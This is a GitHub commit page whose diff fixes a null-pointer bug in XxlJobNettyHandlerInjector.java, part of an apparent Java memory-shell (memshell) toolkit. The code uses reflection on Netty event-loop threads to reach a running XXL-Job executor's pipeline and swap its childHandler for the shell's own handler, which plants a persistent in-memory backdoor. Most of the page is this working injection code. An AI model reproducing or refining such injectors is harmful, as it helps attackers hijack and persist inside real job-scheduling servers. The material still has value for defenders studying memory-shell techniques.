Skip to content

Commit 527059f

Browse files
committed
fix: xxl-job NPE
1 parent 7a5b59b commit 527059f

File tree

1 file changed

+11
-14
lines changed

1 file changed

+11
-14
lines changed

memshell-java8/src/main/java/com/reajason/javaweb/memshell/xxljob/injector/XxlJobNettyHandlerInjector.java

Lines changed: 11 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -86,23 +86,20 @@ public void inject() throws Exception {
8686
for (Thread thread : threads) {
8787
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
8888
Object target;
89-
9089
try {
9190
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
92-
} catch (Exception e) {
93-
continue;
94-
}
95-
96-
if (target.getClass().getName().endsWith("NioEventLoop")) {
97-
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
98-
if (!set.isEmpty()) {
99-
Object keys = set.toArray()[0];
100-
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
101-
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
102-
setFieldValue(embedHttpServerHandler, "childHandler", this);
103-
System.out.println("xxl-job NettyHandler inject successful");
104-
break;
91+
if (target.getClass().getName().endsWith("NioEventLoop")) {
92+
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
93+
if (!set.isEmpty()) {
94+
Object keys = set.toArray()[0];
95+
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
96+
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
97+
setFieldValue(embedHttpServerHandler, "childHandler", this);
98+
System.out.println("xxl-job NettyHandler inject successful");
99+
break;
100+
}
105101
}
102+
} catch (Exception ignored) {
106103
}
107104
}
108105
}

0 commit comments

Comments
 (0)